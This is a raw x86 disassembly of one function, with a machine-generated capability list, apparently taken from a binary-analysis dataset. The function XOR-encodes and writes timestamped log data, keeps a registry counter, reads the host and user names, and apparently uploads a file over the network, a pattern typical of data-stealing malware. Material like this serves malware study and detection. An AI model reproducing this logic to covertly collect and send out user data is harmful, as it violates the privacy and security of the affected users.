Function at 0x54df10
Capabilities:
Clear file content
Encode data using xor
Get hostname
Get session user name
Query or enumerate registry value
Set registry value
Write file on windows

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
push 0x686318
mov dword [esp + 0x2c], ecx
lea esi, [ecx + 0x28]
call fcn.0055dbb0
add esp, 4
push eax
push esi
call fcn.0054ce40
add esp, 8
lea eax, [esp + 0x24]
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x6862e0
xor bl, bl
call fcn.0055dbb0
add esp, 4
push eax
push 0x80000001
call dword [sym.imp.advapi32.dll_RegCreateKeyExA]
test eax, eax
jne 0x54e0af
mov eax, dword [esp + 0x24]
mov edi, dword [sym.imp.user32.dll_wsprintfA]
cmp eax, 2
jne 0x54e021
lea edx, [esp + 0x14]
lea eax, [esp + 0x40]
push edx
push eax
push 0
push 0
push 0x6862cc
mov dword [esp + 0x28], 0x40
call fcn.0055dbb0
mov ecx, dword [esp + 0x2c]
mov ebp, dword [sym.imp.advapi32.dll_RegQueryValueExA]
add esp, 4
push eax
push ecx
call ebp
push 0x685bac
lea edx, [esp + 0x84]
push 0x6862c8
push edx
call edi
mov eax, dword [esp + 0x20]
add esp, 0xc
test eax, eax
je 0x54dff6
lea eax, [esp + 0x80]
lea ecx, [esp + 0x40]
push eax
push ecx
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x54dff6
mov bl, 1
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push 0
push 0x6862b8
mov dword [esp + 0x28], 4
call fcn.0055dbb0
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call ebp
push 0x685bac
lea edx, [esp + 0x44]
push 0x6862c8
push edx
call edi
add esp, 0xc
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
lea ecx, [esp + 0x40]
push eax
push ecx
push 1
push 0
push 0x6862a4
mov dword [esp + 0x28], eax
call fcn.0055dbb0
mov edx, dword [esp + 0x2c]
mov edi, dword [sym.imp.advapi32.dll_RegSetValueExA]
add esp, 4
push eax
push edx
call edi
test bl, bl
mov dword [esp + 0x14], 4
je 0x54e07c
inc dword [esp + 0x10]
jmp 0x54e084
mov dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push 0x6862b8
call fcn.0055dbb0
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call edi
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
cmp eax, 1
je 0x54e4fa
cmp eax, 5
ja 0x54e4fa
test bl, bl
je 0x54e0d6
cmp dword [0x93e0fc], 9
jge 0x54e4fa
push 0x686294
call fcn.0055dbb0
add esp, 4
push eax
push esi
call fcn.0054ce40
mov eax, dword [esi]
add esp, 8
cmp eax, 0xffffffff
je 0x54e229
lea edi, [esi + 0x101c]
push edi
call dword [sym.imp.kernel32.dll_GetLocalTime]
mov eax, dword [esi + 0x1034]
test eax, eax
je 0x54e11e
mov ecx, dword [esi + 0x1038]
cmp ecx, eax
mov eax, 0x685574
ja 0x54e123
mov eax, 0x93e160
push eax
xor eax, eax
mov ax, word [esi + 0x102a]
xor ecx, ecx
mov cx, word [esi + 0x1028]
push eax
xor edx, edx
xor eax, eax
mov dx, word [esi + 0x1026]
mov ax, word [esi + 0x1024]
push ecx
push edx
xor ecx, ecx
push eax
mov cx, word [esi + 0x1022]
xor edx, edx
mov dx, word [esi + 0x101e]
xor eax, eax
mov ax, word [edi]
push ecx
push edx
push eax
push 0x68551c
lea ebp, [esi + 0x1c]
call fcn.0055db40
add esp, 4
push eax
push ebp
call fcn.0061660d
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
add esp, 0x28
repne scasb al, byte es:[edi]
mov eax, dword [esi + 0x1030]
not ecx
dec ecx
test eax, eax
je 0x54e1c5
test ecx, ecx
jle 0x54e1f3
mov edi, 0xffffffe4
mov eax, ebp
sub edi, esi
mov edx, dword [esi + 0x1030]
add edx, 2
mov dword [esi + 0x1030], edx
mov bl, byte [eax]
add dl, 0x43
xor bl, dl
mov byte [eax], bl
inc eax
lea edx, [edi + eax]
cmp edx, ecx
jl 0x54e1a3
jmp 0x54e1f3
test ecx, ecx
jle 0x54e1f3
mov edi, 0xffffffe4
mov eax, ebp
sub edi, esi
mov edx, dword [esi + 0x102c]
lea edx, [edx + edx*2 + 1]
mov dword [esi + 0x102c], edx
mov bl, byte [eax]
add dl, 0x65
xor bl, dl
mov byte [eax], bl
inc eax
lea edx, [eax + edi]
cmp edx, ecx
jl 0x54e1d2
cmp dword [esi + 0x1034], 0x3e7
je 0x54e211
lea eax, [esp + 0x20]
push 0
push eax
push ecx
mov ecx, dword [esi]
push ebp
push ecx
call dword [sym.imp.kernel32.dll_WriteFile]
mov edx, dword [esi]
push edx
call dword [sym.imp.kernel32.dll_SetEndOfFile]
mov eax, dword [esi]
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [esi], 0xffffffff
mov ecx, 0x93dee8
call fcn.0055c310
test eax, eax
jne 0x54e257
push 0x686284
call fcn.0055dbb0
add esp, 4
mov ecx, 0x93dee8
push eax
call fcn.0055c100
test eax, eax
je 0x54e4fa
push 0x686270
call fcn.0055dbb0
add esp, 4
mov ecx, 0x93dee8
push eax
call fcn.0055c310
push eax
call fcn.0054f2c0
push 0x686258
mov esi, eax
call fcn.0055dbb0
add esp, 4
mov ecx, 0x93dee8
push eax
call fcn.0055c310
push eax
call fcn.0054f2c0
push 0x686240
mov edi, eax
call fcn.0055dbb0
add esp, 4
mov ecx, 0x93dee8
push eax
call fcn.0055c310
push eax
call fcn.0054f2c0
push 0x686230
mov ebp, eax
call fcn.0055dbb0
add esp, 4
mov ecx, 0x93dee8
push eax
call fcn.0055c310
push eax
call fcn.0054f2c0
test esi, esi
mov dword [esp + 0x20], eax
je 0x54e4fa
test edi, edi
je 0x54e4fa
test ebp, ebp
je 0x54e4fa
test eax, eax
je 0x54e4fa
push 0
push 0
push 0
push 0
push 0x686224
call fcn.0055db40
add esp, 4
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x54e4fa
push 0
push 0x8000000
push 1
push 0x6861f0
call fcn.0055dbb0
add esp, 4
push eax
push 0x6861e4
call fcn.0055db40
add esp, 4
push eax
push 0x17ac
push 0x6861d0
call fcn.0055db40
add esp, 4
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jne 0x54e36a
push ebx
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x140]
mov edi, 0x80
push ecx
push edx
mov byte [esp + 0x148], 0
mov dword [esp + 0x24], edi
call dword [sym.imp.kernel32.dll_GetComputerNameA]
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc0]
push eax
push ecx
mov byte [esp + 0xc8], 0
mov dword [esp + 0x24], edi
call dword [sym.imp.advapi32.dll_GetUserNameA]
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.kernel32.dll_GetLocalTime]
mov eax, dword [0x93e0fc]
cmp eax, 1
jne 0x54e3c9
push 0x6861c4
jmp 0x54e42e
cmp eax, 2
jne 0x54e3d5
push 0x6861b8
jmp 0x54e42e
cmp eax, 3
jne 0x54e3e1
push 0x6861b0
jmp 0x54e42e
cmp eax, 4
jne 0x54e3ed
push 0x6861a4
jmp 0x54e42e
cmp eax, 5
jne 0x54e3f9
push 0x686198
jmp 0x54e42e
cmp eax, 6
jne 0x54e405
push 0x686188
jmp 0x54e42e
cmp eax, 7
jne 0x54e411
push 0x68617c
jmp 0x54e42e
cmp eax, 8
jne 0x54e41d
push 0x686170
jmp 0x54e42e
cmp eax, 9
jne 0x54e429
push 0x686164
jmp 0x54e42e
push 0x68615c
call fcn.0055db40
mov ecx, dword [esp + 0x3e]
mov edx, dword [esp + 0x3c]
add esp, 4
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x3a]
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x3e]
and edx, 0xffff
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3e]
push ecx
mov ecx, dword [esp + 0x40]
and edx, 0xffff
and ecx, 0xffff
push edx
push ecx
mov ecx, dword [esp + 0x44]
lea edx, [ecx + 0x1230]
add ecx, 0x1208
push edx
lea edx, [esp + 0xe0]
push edx
lea edx, [esp + 0x164]
push edx
mov edx, dword [0x93e128]
mov edx, dword [edx + 0x10]
push edx
push eax
push 0x2d
push ecx
push 0x686100
call fcn.0055dbb0
add esp, 4
push eax
lea eax, [esp + 0x1fc]
push 0x104
push eax
call fcn.0061769f
add esp, 0x44
lea ecx, [esp + 0x1c0]
push 0
push 0x4000002
push ecx
push 0x93dddc
push esi
call dword [esp + 0x34]
call dword [sym.imp.kernel32.dll_GetLastError]
push ebx
call ebp
push esi
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret